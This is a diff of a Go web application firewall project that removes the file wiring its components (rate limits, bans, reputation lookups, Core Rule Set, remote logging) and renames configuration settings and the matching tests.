"SWW_WAF_MAX_BANS": "5000",
|
"SWW_WAF_MAX_BANS": "5000",
|
||||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
||||||
"SWW_WAF_RULE_FILES_ENABLED": "true",
|
"SWW_WAF_RULES_ENABLED": "true",
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, value := range want {
|
for name, value := range want {
|
||||||
|
|||||||
@@ -1,554 +0,0 @@
|
|||||||
package sww
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log/slog"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"go.uber.org/fx"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
|
||||||
|
|
||||||
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
|
||||||
// waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
|
|
||||||
// carried them.
|
|
||||||
const remoteLogStopTimeout = 2 * time.Second
|
|
||||||
|
|
||||||
// RunWAF is `sww waf`: it reads the settings, the rule files,
|
|
||||||
// the lookup database and the state and cache files, then serves requests until
|
|
||||||
// ctx is done. Then it gives the requests in progress shutdownTimeout to
|
|
||||||
// finish, ends its background work and writes every state and cache file,
|
|
||||||
// alerts.json with the alerts still waiting. It returns the process's exit
|
|
||||||
// status, 1 when waf cannot start or stop in order.
|
|
||||||
func RunWAF(ctx context.Context, params Params) int {
|
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
|
||||||
// error, which every SWW_WAF_LOG_LEVEL lets through.
|
|
||||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
|
||||||
config.InstanceName(params.Viper), slog.LevelError)
|
|
||||||
|
|
||||||
cfg, err := config.WAFFromEnvironment(params.Viper)
|
|
||||||
if err != nil {
|
|
||||||
return cannotStart(processLog, startError{"invalid setting", err})
|
|
||||||
}
|
|
||||||
|
|
||||||
// While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
|
|
||||||
// is sent there too. The sender runs before any part is built, so that it
|
|
||||||
// sends why waf cannot start.
|
|
||||||
stdout := params.Stdout
|
|
||||||
|
|
||||||
var remote *remotelog.Sender
|
|
||||||
|
|
||||||
if cfg.LogRemoteURL != nil {
|
|
||||||
remote = newRemoteLogSender(cfg)
|
|
||||||
stdout = io.MultiWriter(params.Stdout, remote)
|
|
||||||
}
|
|
||||||
|
|
||||||
processLog = requestlog.NewProcessLogger(
|
|
||||||
stdout,
|
|
||||||
cfg.InstanceName,
|
|
||||||
cfg.LogLevel,
|
|
||||||
)
|
|
||||||
|
|
||||||
if remote != nil {
|
|
||||||
stopSending := startSending(ctx, remote, processLog)
|
|
||||||
defer stopSending()
|
|
||||||
}
|
|
||||||
|
|
||||||
var (
|
|
||||||
files *state.Files
|
|
||||||
listener net.Listener
|
|
||||||
)
|
|
||||||
|
|
||||||
failed := make(servingFailed, 1)
|
|
||||||
|
|
||||||
app := fx.New(
|
|
||||||
fx.Supply(
|
|
||||||
params,
|
|
||||||
cfg,
|
|
||||||
processLog,
|
|
||||||
requestLog{stdout},
|
|
||||||
remote,
|
|
||||||
failed,
|
|
||||||
),
|
|
||||||
fx.Provide(
|
|
||||||
newAlertQueue, newRuleFiles, newCoreRuleSet, newLookupFile,
|
|
||||||
newLimiter, newLedger, newAnomalyCounters,
|
|
||||||
newLists, newDNSBL, newAbuseIPDB, newRouteWatch,
|
|
||||||
newMetrics, newGeoJS, newWAFServer,
|
|
||||||
func(server *waf.Server) *http.Server { return server.Server },
|
|
||||||
newWAFListener, newStateFiles,
|
|
||||||
),
|
|
||||||
// fx stops hooks in the reverse of the order they were added in. The
|
|
||||||
// state files are read before serving is set up, so that serving
|
|
||||||
// stops before their loops do.
|
|
||||||
fx.Populate(&files),
|
|
||||||
fx.Invoke(serve),
|
|
||||||
fx.Populate(&listener),
|
|
||||||
fx.WithLogger(fxEventLogger(processLog)),
|
|
||||||
)
|
|
||||||
|
|
||||||
err = app.Err()
|
|
||||||
if err != nil {
|
|
||||||
return cannotStart(processLog, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
processLog.Info("starting",
|
|
||||||
"version", params.Version,
|
|
||||||
"address", listener.Addr().String(),
|
|
||||||
"settings", cfg)
|
|
||||||
|
|
||||||
// The last write follows the stop of every hook, and so the end of every
|
|
||||||
// loop that changes the state or raises an alert, and of every ask of
|
|
||||||
// GeoJS, the DNSBL zones, AbuseIPDB and routewatch. A hook of the state
|
|
||||||
// files would stop before the loops of the parts built ahead of them.
|
|
||||||
return run(ctx, app, failed, processLog, func() error {
|
|
||||||
err := files.WriteAll()
|
|
||||||
if err != nil {
|
|
||||||
processLog.Error("writing the state and cache files failed",
|
|
||||||
"error", err.Error())
|
|
||||||
}
|
|
||||||
|
|
||||||
return err
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
|
||||||
// ntfy, with the settings for them. Until waf stops, it sends them.
|
|
||||||
func newAlertQueue(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
) *alerts.Queue {
|
|
||||||
alertQueue := alerts.New(alerts.Params{
|
|
||||||
WebhookURL: cfg.AlertWebhookURL,
|
|
||||||
WebhookHeaders: cfg.AlertWebhookHeaders,
|
|
||||||
SlackURL: cfg.AlertSlackWebhookURL,
|
|
||||||
NtfyURL: cfg.AlertNtfyURL,
|
|
||||||
NtfyToken: cfg.AlertNtfyToken,
|
|
||||||
Events: cfg.AlertEvents,
|
|
||||||
Cooldown: cfg.AlertCooldown,
|
|
||||||
MaxPerHour: cfg.AlertMaxPerHour,
|
|
||||||
Instance: cfg.InstanceName,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(background(alertQueue.Run))
|
|
||||||
|
|
||||||
return alertQueue
|
|
||||||
}
|
|
||||||
|
|
||||||
// newRuleFiles reads the rule files, and reads them again as they change
|
|
||||||
// until waf stops.
|
|
||||||
func newRuleFiles(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
alertQueue *alerts.Queue,
|
|
||||||
) (*rules.Files, error) {
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
|
||||||
Dir: cfg.RuleFilesDir,
|
|
||||||
Enabled: cfg.RuleFilesEnabled,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
return nil, startError{"cannot use the rule files", err}
|
|
||||||
}
|
|
||||||
|
|
||||||
lc.Append(background(ruleFiles.Watch))
|
|
||||||
|
|
||||||
return ruleFiles, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// newCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
|
||||||
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
|
||||||
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in
|
|
||||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
|
|
||||||
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. An exclusions file that
|
|
||||||
// coreruleset.New refuses is an error in every mode. While the mode is off, a
|
|
||||||
// set file is loaded with the Core Rule Set only to check it.
|
|
||||||
func newCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
|
|
||||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff &&
|
|
||||||
cfg.CoreRuleSetExclusionsFile == "" {
|
|
||||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
|
||||||
}
|
|
||||||
|
|
||||||
crs, err := coreruleset.New(coreruleset.Params{
|
|
||||||
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel,
|
|
||||||
DisabledRules: cfg.CoreRuleSetDisabledRules,
|
|
||||||
BodyInspectionSize: cfg.CoreRuleSetBodyInspectionSize,
|
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
|
||||||
Apps: cfg.Apps,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
return nil, startError{
|
|
||||||
"cannot use the Core Rule Set",
|
|
||||||
fmt.Errorf("SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff {
|
|
||||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
|
||||||
}
|
|
||||||
|
|
||||||
return crs, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// newLookupFile reads the lookup database while SWW_WAF_LOOKUP_SOURCE is
|
|
||||||
// file, and reads it again when it is replaced until waf stops. It returns
|
|
||||||
// nil while the source is anything else.
|
|
||||||
func newLookupFile(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
alertQueue *alerts.Queue,
|
|
||||||
) (*lookup.File, error) {
|
|
||||||
if cfg.LookupSource != config.LookupSourceFile {
|
|
||||||
return nil, nil //nolint:nilnil // no lookup database, and no error
|
|
||||||
}
|
|
||||||
|
|
||||||
lookupFile, err := lookup.OpenFile(lookup.FileParams{
|
|
||||||
Path: cfg.LookupDBPath,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
return nil, startError{"cannot use the lookup database", err}
|
|
||||||
}
|
|
||||||
|
|
||||||
lc.Append(background(lookupFile.Watch))
|
|
||||||
|
|
||||||
return lookupFile, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// newLimiter returns the table of clients, with the rate and byte limits.
|
|
||||||
func newLimiter(cfg *config.WAF) *ratelimit.Limiter {
|
|
||||||
return ratelimit.New(ratelimit.Limits{
|
|
||||||
PerMinute: cfg.RateLimitPerMinute,
|
|
||||||
PerHour: cfg.RateLimitPerHour,
|
|
||||||
PerDay: cfg.RateLimitPerDay,
|
|
||||||
BytesPerMinute: cfg.BytesLimitPerMinute,
|
|
||||||
BytesPerHour: cfg.BytesLimitPerHour,
|
|
||||||
BytesPerDay: cfg.BytesLimitPerDay,
|
|
||||||
}, cfg.MaxTrackedClients)
|
|
||||||
}
|
|
||||||
|
|
||||||
// newLedger returns the ledger of the bans, with the settings for them.
|
|
||||||
func newLedger(cfg *config.WAF) *bans.Ledger {
|
|
||||||
return bans.New(bans.Params{
|
|
||||||
LimitBanDuration: cfg.LimitBanDuration,
|
|
||||||
LimitBanRepeatWindow: cfg.LimitBanRepeatWindow,
|
|
||||||
LimitBanPermanentAbove: cfg.LimitBanPermanentAbove,
|
|
||||||
AttackBanDuration: cfg.AttackBanDuration,
|
|
||||||
MaxBans: cfg.MaxBans,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newAnomalyCounters returns the counters of the anomaly thresholds.
|
|
||||||
func newAnomalyCounters(
|
|
||||||
cfg *config.WAF, alertQueue *alerts.Queue,
|
|
||||||
) *anomaly.Counters {
|
|
||||||
return anomaly.New(anomaly.Params{
|
|
||||||
Client: cfg.AnomalyClient,
|
|
||||||
Net: cfg.AnomalyNet,
|
|
||||||
ASN: cfg.AnomalyASN,
|
|
||||||
Total: cfg.AnomalyTotal,
|
|
||||||
WatchedNet: cfg.AnomalyWatchedNet,
|
|
||||||
NetV4Prefix: cfg.AnomalyNetV4Prefix,
|
|
||||||
NetV6Prefix: cfg.AnomalyNetV6Prefix,
|
|
||||||
NamedNetblocks: cfg.AnomalyWatchedNets,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newLists returns the lists the settings name by URL, none fetched yet.
|
|
||||||
// Until waf stops, it fetches them as they are due.
|
|
||||||
func newLists(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
alertQueue *alerts.Queue,
|
|
||||||
) *reputation.Lists {
|
|
||||||
lists := reputation.New(reputation.Params{
|
|
||||||
BlocklistURLs: cfg.BlocklistURLs,
|
|
||||||
Refresh: cfg.BlocklistRefresh,
|
|
||||||
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
|
|
||||||
TagLists: cfg.TagLists,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(background(lists.Run))
|
|
||||||
|
|
||||||
return lists
|
|
||||||
}
|
|
||||||
|
|
||||||
// newDNSBL returns what asks the DNSBL zones, none asked yet. At the stop it
|
|
||||||
// ends the queries under way, as reputation.DNSBL.StopAsking says.
|
|
||||||
func newDNSBL(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
alertQueue *alerts.Queue,
|
|
||||||
) *reputation.DNSBL {
|
|
||||||
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
|
||||||
Zones: cfg.DNSBLZones,
|
|
||||||
Resolver: cfg.DNSBLResolver,
|
|
||||||
CacheTTL: cfg.IPReputationCacheTTL,
|
|
||||||
Timeout: cfg.DNSBLAbuseIPDBTimeout,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(fx.StopHook(dnsbl.StopAsking))
|
|
||||||
|
|
||||||
return dnsbl
|
|
||||||
}
|
|
||||||
|
|
||||||
// newAbuseIPDB returns what checks clients with AbuseIPDB while
|
|
||||||
// SWW_WAF_ABUSEIPDB_KEY is set, none checked yet. Until waf stops, it
|
|
||||||
// fetches AbuseIPDB's blacklist as it is due, and bans the clients on it in
|
|
||||||
// ledger, as waf.BanAbuseIPDBBlacklist says. At the stop it ends the checks
|
|
||||||
// under way, as reputation.AbuseIPDB.StopChecking says.
|
|
||||||
func newAbuseIPDB(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
alertQueue *alerts.Queue, ledger *bans.Ledger,
|
|
||||||
) *reputation.AbuseIPDB {
|
|
||||||
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
|
||||||
URL: reputation.AbuseIPDBURL,
|
|
||||||
Key: cfg.AbuseIPDBKey,
|
|
||||||
MinScore: cfg.AbuseIPDBMinScore,
|
|
||||||
DailyBudget: cfg.AbuseIPDBDailyBudget,
|
|
||||||
CacheTTL: cfg.IPReputationCacheTTL,
|
|
||||||
Timeout: cfg.DNSBLAbuseIPDBTimeout,
|
|
||||||
BlacklistURL: reputation.AbuseIPDBBlacklistURL,
|
|
||||||
Threshold: cfg.AbuseIPDBThreshold,
|
|
||||||
BlacklistRefresh: cfg.AbuseIPDBBlacklistRefresh,
|
|
||||||
Blacklisted: func(listed []reputation.BlacklistEntry) {
|
|
||||||
waf.BanAbuseIPDBBlacklist(
|
|
||||||
cfg, ledger, processLog, utcNow(), listed,
|
|
||||||
)
|
|
||||||
},
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(background(abuseIPDB.RunBlacklist))
|
|
||||||
lc.Append(fx.StopHook(abuseIPDB.StopChecking))
|
|
||||||
|
|
||||||
return abuseIPDB
|
|
||||||
}
|
|
||||||
|
|
||||||
// newRouteWatch returns what asks routewatch about clients, or nil while
|
|
||||||
// SWW_WAF_ROUTEWATCH_URL is unset. At the stop it ends the queries under
|
|
||||||
// way, as routewatch.Client.StopAsking says.
|
|
||||||
func newRouteWatch(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
) *routewatch.Client {
|
|
||||||
if cfg.RouteWatchURL == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
routeWatch := routewatch.New(routewatch.Params{
|
|
||||||
URL: cfg.RouteWatchURL,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(fx.StopHook(routeWatch.StopAsking))
|
|
||||||
|
|
||||||
return routeWatch
|
|
||||||
}
|
|
||||||
|
|
||||||
// newMetrics returns the metrics, with those read from the other parts as
|
|
||||||
// the metrics are asked for: AbuseIPDB's while SWW_WAF_ABUSEIPDB_KEY is set,
|
|
||||||
// the lookup database's while there is one, and the remote log sender's
|
|
||||||
// while there is one.
|
|
||||||
func newMetrics(
|
|
||||||
cfg *config.WAF, ledger *bans.Ledger, limiter *ratelimit.Limiter,
|
|
||||||
ruleFiles *rules.Files, lists *reputation.Lists,
|
|
||||||
dnsbl *reputation.DNSBL, abuseIPDB *reputation.AbuseIPDB,
|
|
||||||
alertQueue *alerts.Queue, lookupFile *lookup.File,
|
|
||||||
remote *remotelog.Sender,
|
|
||||||
) *metrics.Metrics {
|
|
||||||
m := metrics.New(cfg.MetricsBusiestCountriesAndASNs, cfg.InstanceName)
|
|
||||||
m.AddBansAndClients(ledger, limiter, utcNow)
|
|
||||||
m.AddRules(ruleFiles)
|
|
||||||
m.AddReputation(lists, dnsbl)
|
|
||||||
|
|
||||||
if cfg.AbuseIPDBKey != "" {
|
|
||||||
m.AddAbuseIPDB(abuseIPDB)
|
|
||||||
}
|
|
||||||
|
|
||||||
m.AddAlerts(alertQueue)
|
|
||||||
|
|
||||||
if lookupFile != nil {
|
|
||||||
m.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
|
|
||||||
}
|
|
||||||
|
|
||||||
if remote != nil {
|
|
||||||
m.AddRemoteLog(remote)
|
|
||||||
}
|
|
||||||
|
|
||||||
return m
|
|
||||||
}
|
|
||||||
|
|
||||||
// newGeoJS returns what looks clients up at GeoJS, none looked up yet. Each
|
|
||||||
// answer goes to the limiter and the ledger, as waf.AddLookup says, and each
|
|
||||||
// failure is handled as waf.GeoJSFailed says. At the stop it ends the request
|
|
||||||
// under way, as geojs.GeoJS.StopAsking says.
|
|
||||||
func newGeoJS(
|
|
||||||
lc fx.Lifecycle,
|
|
||||||
cfg *config.WAF,
|
|
||||||
m *metrics.Metrics,
|
|
||||||
limiter *ratelimit.Limiter,
|
|
||||||
ledger *bans.Ledger,
|
|
||||||
alertQueue *alerts.Queue,
|
|
||||||
processLog *slog.Logger,
|
|
||||||
) *geojs.GeoJS {
|
|
||||||
geoJS := geojs.New(geojs.Params{
|
|
||||||
URL: geojs.URL,
|
|
||||||
Answered: func(answer geojs.Answer) {
|
|
||||||
waf.AddLookup(cfg, limiter, ledger, answer)
|
|
||||||
},
|
|
||||||
Now: utcNow,
|
|
||||||
Asked: m.GeoJSRequests.Inc,
|
|
||||||
Failed: func(err error, askingAgainIn time.Duration) {
|
|
||||||
waf.GeoJSFailed(processLog, alertQueue, m, err, askingAgainIn)
|
|
||||||
},
|
|
||||||
WentWithoutAnswer: m.RequestsWithoutGeoJSAnswer.Inc,
|
|
||||||
})
|
|
||||||
|
|
||||||
lc.Append(fx.StopHook(geoJS.StopAsking))
|
|
||||||
|
|
||||||
return geoJS
|
|
||||||
}
|
|
||||||
|
|
||||||
// newWAFServer returns the server waf runs, with its parts and the time
|
|
||||||
// limit params gives.
|
|
||||||
func newWAFServer(
|
|
||||||
params Params, cfg *config.WAF, out requestLog, processLog *slog.Logger,
|
|
||||||
m *metrics.Metrics, limiter *ratelimit.Limiter, ledger *bans.Ledger,
|
|
||||||
anomalies *anomaly.Counters, lists *reputation.Lists,
|
|
||||||
dnsbl *reputation.DNSBL, abuseIPDB *reputation.AbuseIPDB,
|
|
||||||
routeWatch *routewatch.Client, geoJS *geojs.GeoJS,
|
|
||||||
lookupFile *lookup.File, crs *coreruleset.CoreRuleSet,
|
|
||||||
ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
|
||||||
) *waf.Server {
|
|
||||||
return waf.New(waf.Params{
|
|
||||||
Config: cfg,
|
|
||||||
RequestLog: out,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Metrics: m,
|
|
||||||
Limiter: limiter,
|
|
||||||
Ledger: ledger,
|
|
||||||
Anomalies: anomalies,
|
|
||||||
Lists: lists,
|
|
||||||
DNSBL: dnsbl,
|
|
||||||
AbuseIPDB: abuseIPDB,
|
|
||||||
RouteWatch: routeWatch,
|
|
||||||
GeoJS: geoJS,
|
|
||||||
LookupFile: lookupFile,
|
|
||||||
CoreRuleSet: crs,
|
|
||||||
Now: utcNow,
|
|
||||||
Rules: ruleFiles,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
|
|
||||||
BesideLookupTimeLimit: params.BesideLookupTimeLimit,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// newWAFListener listens on SWW_WAF_LISTEN_ADDR.
|
|
||||||
func newWAFListener(cfg *config.WAF) (net.Listener, error) {
|
|
||||||
return listen(cfg.ListenAddr, "SWW_WAF_LISTEN_ADDR")
|
|
||||||
}
|
|
||||||
|
|
||||||
// newStateFiles reads the state and cache files into the parts and the
|
|
||||||
// alert queue, as state.Load does. Until waf stops, it writes them as they
|
|
||||||
// are due and takes in an admin's edits of them.
|
|
||||||
func newStateFiles(
|
|
||||||
lc fx.Lifecycle, cfg *config.WAF, processLog *slog.Logger,
|
|
||||||
m *metrics.Metrics, ledger *bans.Ledger, limiter *ratelimit.Limiter,
|
|
||||||
geoJS *geojs.GeoJS, lists *reputation.Lists, dnsbl *reputation.DNSBL,
|
|
||||||
abuseIPDB *reputation.AbuseIPDB, routeWatch *routewatch.Client,
|
|
||||||
alertQueue *alerts.Queue, anomalies *anomaly.Counters,
|
|
||||||
) (*state.Files, error) {
|
|
||||||
files, err := state.Load(state.Params{
|
|
||||||
Dir: cfg.StateDir,
|
|
||||||
CacheDir: cfg.CacheDir,
|
|
||||||
BansWriteDelay: cfg.BansWriteDelay,
|
|
||||||
WriteInterval: cfg.StateWriteInterval,
|
|
||||||
Ledger: ledger,
|
|
||||||
Limiter: limiter,
|
|
||||||
GeoJS: geoJS,
|
|
||||||
Lists: lists,
|
|
||||||
DNSBL: dnsbl,
|
|
||||||
AbuseIPDB: abuseIPDB,
|
|
||||||
RouteWatch: routeWatch,
|
|
||||||
Alerts: alertQueue,
|
|
||||||
Anomalies: anomalies,
|
|
||||||
Now: utcNow,
|
|
||||||
ProcessLog: processLog,
|
|
||||||
Metrics: m,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
return nil, startError{"cannot use the state and cache files", err}
|
|
||||||
}
|
|
||||||
|
|
||||||
lc.Append(background(files.Run))
|
|
||||||
lc.Append(background(files.Watch))
|
|
||||||
|
|
||||||
return files, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// newRemoteLogSender returns a sender of the log lines to
|
|
||||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
|
||||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
|
||||||
return remotelog.New(remotelog.Params{
|
|
||||||
URL: cfg.LogRemoteURL,
|
|
||||||
RootCAs: cfg.LogRemoteTLSCAs,
|
|
||||||
BufferLines: cfg.LogRemoteBufferLines,
|
|
||||||
Facility: cfg.LogRemoteFacility,
|
|
||||||
AppName: cfg.LogRemoteAppName,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// startSending runs remote until the function it returns is called, which
|
|
||||||
// then waits at most remoteLogStopTimeout for the lines still waiting to
|
|
||||||
// be sent. Sending goes on after ctx is done, so that the lines written
|
|
||||||
// while sww stops are sent too.
|
|
||||||
func startSending(
|
|
||||||
ctx context.Context, remote *remotelog.Sender, processLog *slog.Logger,
|
|
||||||
) func() {
|
|
||||||
sending, stop := context.WithCancel(context.WithoutCancel(ctx))
|
|
||||||
sent := make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
remote.Run(sending, processLog)
|
|
||||||
close(sent)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return func() {
|
|
||||||
stop()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-sent:
|
|
||||||
case <-time.After(remoteLogStopTimeout):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -90,17 +90,14 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
cmd := exec.CommandContext(t.Context(), binary)
|
cmd := exec.CommandContext(t.Context(), binary)
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
// The Core Rule Set is off. Main keeps waf's own limit for its checks,
|
|
||||||
// and on a busy host the Core Rule Set's inspection can pass it.
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
"TZ="+zone,
|
"TZ="+zone,
|
||||||
commandForMain+"="+wafCommand,
|
commandForMain+"="+wafCommand,
|
||||||
listenAddr+"="+localhost+":0",
|
listenAddr+"="+localhost+":0",
|
||||||
stateDir+"="+dir,
|
stateDir+"="+dir,
|
||||||
cacheDir+"="+dir,
|
cacheDir+"="+dir,
|
||||||
ruleFilesDir+"="+t.TempDir(),
|
rulesDir+"="+t.TempDir(),
|
||||||
lookupSource+"=off",
|
lookupSource+"=off")
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE=off")
|
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
|
|
||||||
@@ -283,7 +280,7 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
|
|
||||||
runWAF(t, env, func(addr string) {
|
runWAF(t, env, func(addr string) {
|
||||||
|
|||||||
+11
-22
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
|
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -16,48 +16,37 @@ import (
|
|||||||
|
|
||||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||||
// the score, when its score of the client is a hit, and refuses the request
|
// the score, when its score of the client is a hit, and refuses the request
|
||||||
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
|
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||||
// checked in the background, by the request's address, if its history counts
|
// checked in the background, by the request's address, if its history counts
|
||||||
// an offence, and the request does not wait for the answer. The score is then
|
// an offence, and the request does not wait for the answer. The score is then
|
||||||
// used for each address of the client. Its figures are the score and
|
// used for each address of the client. Its figures are the score and
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
||||||
type abuseIPDB struct {
|
type abuseIPDB struct{}
|
||||||
abuseIPDB *reputation.AbuseIPDB
|
|
||||||
// limiter is the table of clients the rate limits count, whose histories
|
|
||||||
// say which clients are offenders.
|
|
||||||
limiter *ratelimit.Limiter
|
|
||||||
keySet bool // SWW_WAF_ABUSEIPDB_KEY is set
|
|
||||||
minScore int64 // SWW_WAF_ABUSEIPDB_MIN_SCORE
|
|
||||||
action config.ReputationAction // SWW_WAF_DNSBL_ABUSEIPDB_ACTION
|
|
||||||
ipv6GroupPrefix int // SWW_WAF_IPV6_GROUP_PREFIX
|
